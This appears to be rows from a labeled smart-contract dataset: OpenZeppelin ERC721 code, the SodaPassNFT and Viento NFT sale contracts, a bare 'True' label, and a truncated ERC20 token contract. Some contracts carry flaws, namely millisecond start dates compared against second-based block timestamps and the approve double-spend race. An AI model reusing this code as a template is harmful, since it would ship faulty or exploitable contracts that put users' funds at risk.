* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
pragma solidity ^0.8.0;
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
//SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.3;
contract SodaPassNFT is ERC721, ERC721Enumerable,ERC721URIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
uint16 public constant maxSupply = 5100;
string private _baseTokenURI;
uint256 public _startDate = 1634850000000;
uint256 public _whitelistStartDate = 1634677200000;
mapping (address => bool) private _whitelisted;
constructor() ERC721("Soda Pass", "SODA") {
for (uint8 i = 0; i < 100; i++) {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_mint(msg.sender, newItemId);
}
}
function setStartDate(uint256 startDate) public onlyOwner {
_startDate = startDate;
}
function setWhitelistStartDate(uint256 whitelistStartDate) public onlyOwner {
_whitelistStartDate = whitelistStartDate;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
super._beforeTokenTransfer(from, to, tokenId);
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
super._burn(tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function setBaseURI(string memory _newbaseTokenURI) public onlyOwner {
_baseTokenURI = _newbaseTokenURI;
}
function _baseURI() internal view override returns (string memory) {
return _baseTokenURI;
}
// Get minting limit (for a single transaction) based on current token supply
function getCurrentMintLimit() public view returns (uint8) {
return block.timestamp >= _startDate ? 20 : 4;
}
// Get ether price based on current token supply
function getCurrentPrice() public pure returns (uint64) {
return 100_000_000_000_000_000;
}
function addUserToWhitelist(address wallet) public onlyOwner {
_whitelisted[wallet] = true;
}
function removeUserFromWhitelist(address wallet) public onlyOwner {
_whitelisted[wallet] = false;
}
// Mint new token(s)
function mint(uint8 _quantityToMint) public payable {
require(_startDate <= block.timestamp || (block.timestamp >= _whitelistStartDate && _whitelisted[msg.sender] == true), block.timestamp <= _whitelistStartDate ? "Sale is not open" : "Not whitelisted");
require(_quantityToMint >= 1, "Must mint at least 1");
require(block.timestamp >= _whitelistStartDate && block.timestamp <= _startDate ? (_quantityToMint + balanceOf(msg.sender) <= 4) : true, "Whitelisted mints are limited to 4 per wallet");
require(
_quantityToMint <= getCurrentMintLimit(),
"Maximum current buy limit for individual transaction exceeded"
);
require(
(_quantityToMint + totalSupply()) <= maxSupply,
"Exceeds maximum supply"
);
require(
msg.value == (getCurrentPrice() * _quantityToMint),
"Ether submitted does not match current price"
);
for (uint8 i = 0; i < _quantityToMint; i++) {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_mint(msg.sender, newItemId);
}
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
return super.tokenURI(tokenId);
}
// Withdraw ether from contract
function withdraw() public onlyOwner {
require(address(this).balance > 0, "Balance must be positive");
uint256 _balance = address(this).balance;
address _coldWallet = 0x9781F65af8324b40Ee9Ca421ea963642Bc8a8C2b;
payable(_coldWallet).transfer((_balance * 9)/10);
address _devWallet = 0x3097617CbA85A26AdC214A1F87B680bE4b275cD0;
payable(_devWallet).transfer((_balance * 1)/10);
}
}
pragma solidity 0.8.3;
contract Viento is ERC721, ERC721Enumerable,ERC721URIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter public _tokenIds;
uint16 public constant maxSupply = 1052;
string private _baseTokenURI;
uint256 public _startDate; // start
uint256 public _next48hour = 86400;
uint256 public _next24hour = 86400; // 86400 24 hour
uint256 public _privateSalePrice = 6E16; // 6E16 0.06 ETH per NFT
uint256 public _publicSalePrice = 7E16; //7E16 0.07 ETH per NFT
bool public sale_started = false;
event ReturnEvent(uint _amount);
SodaPassNFT soda_contract;
address sodaContract = 0x3b553Fc51A63298E2E44d8ecd3b1ea01d22cA459;
mapping(uint256 => bool) public _tokenIDused;
uint[] public idTOKENs ;
constructor() ERC721("Viento en Contra", "VEC") {
soda_contract = SodaPassNFT(sodaContract);
//30 for team
for (uint8 i = 0; i < 30; i++) {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_mint(msg.sender, newItemId);
}
}
function StartSale() public onlyOwner{
_startDate = block.timestamp;
sale_started = true;
}
function setIdtrue(uint256 _id) private {
_tokenIDused[_id] = true;
}
function getIdtrue(uint256 _id) public view returns (bool val){
return _tokenIDused[_id];
}
function StopSale() public onlyOwner{
sale_started = false;
}
function getSodaPassBalance(address _zz) public view returns (uint256 balance) {
return soda_contract.balanceOf(_zz);
}
function getnow() public view returns (uint256) {
return block.timestamp;
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
super._burn(tokenId);
}
function setStartDate(uint256 startDate) public onlyOwner {
_startDate = startDate;
}
function setPrivateSalePrice(uint256 privateSalePrice) public onlyOwner {
_privateSalePrice = privateSalePrice;
}
function setPublicSalePrice(uint256 publicSalePrice) public onlyOwner {
_publicSalePrice = publicSalePrice;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function setBaseURI(string memory _newbaseTokenURI) public onlyOwner {
_baseTokenURI = _newbaseTokenURI;
}
function _baseURI() internal view override returns (string memory) {
return _baseTokenURI;
}
function getsodaPassTokenID(address owner,uint256 _index) public view returns (uint256 tokenID){
return soda_contract.tokenOfOwnerByIndex(owner,_index);
}
// Mint new token(s)
function mint(uint8 _quantityToMint) public payable {
delete idTOKENs;
require(_quantityToMint <= 10, 'can mint only 10 max at a time');
require((_quantityToMint + totalSupply()) <= maxSupply,"Exceeds maximum supply");
require(sale_started == true,"Sale Not Started");
// for next 24 hours after presale started by owner
if(block.timestamp <= (_startDate + _next48hour))
{
require(getSodaPassBalance(msg.sender) > 0 , "Needs to have SodaPass");
require(msg.value == (_privateSalePrice * _quantityToMint),"Ether submitted does not match current price 0.06 ETH per token");
for(uint256 j = 0; j < getSodaPassBalance(msg.sender); j++){
uint256 tokenID = getsodaPassTokenID(msg.sender,j);
if(_tokenIDused[tokenID] !=true){
idTOKENs.push(j);
}
if(idTOKENs.length == _quantityToMint)
{
break;
}
}
require(idTOKENs.length == _quantityToMint, "Soda pass used");
{
for(uint8 j = 0; j < idTOKENs.length; j++){
uint256 tokenID = getsodaPassTokenID(msg.sender,idTOKENs[j]);
setIdtrue(tokenID);
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
emit ReturnEvent(newItemId);
_mint(msg.sender, newItemId);
}
}
}
if(block.timestamp > (_startDate + _next48hour) && block.timestamp <= (_startDate + _next48hour + _next24hour)){
require(getSodaPassBalance(msg.sender) > 0 , "Needs to have SodaPass");
require(msg.value == (_privateSalePrice * _quantityToMint),"Ether submitted does not match current price 0.06 ETH per token");
for (uint8 i = 0; i < _quantityToMint; i++) {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
emit ReturnEvent(newItemId);
_mint(msg.sender, newItemId);
}
}
if(block.timestamp > (_startDate + _next48hour + _next24hour)) {
require(msg.value == (_publicSalePrice * _quantityToMint),"Ether submitted does not match current price 0.07 ETH per token");
for (uint8 i = 0; i < _quantityToMint; i++) {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
emit ReturnEvent(newItemId);
_mint(msg.sender, newItemId);
}
}
}
function getidtokenlength() public view returns(uint256)
{
return idTOKENs.length;
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
return super.tokenURI(tokenId);
}
// Withdraw ether from contract
function withdraw() public onlyOwner {
require(address(this).balance > 0, "Balance must be positive");
uint256 _balance = address(this).balance;
address _coldWallet = 0x344fbA0aBEa40E22d536FD023Dd514757ee98FD1;
payable(_coldWallet).transfer((_balance * 7)/10);
address _devWallet = 0xe101872F6b17850609A28909c8ac9F4720b3E373;
payable(_devWallet).transfer((_balance * 2)/10);
address _devWallet2 = 0x3097617CbA85A26AdC214A1F87B680bE4b275cD0;
payable(_devWallet2).transfer((_balance * 1)/10);
}
}
|
True
|
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pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT94481' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT94481
// Name : ADZbuzz Realtorbiz.review Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT94481";
name = "ADZbuzz Realtorbiz.review Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
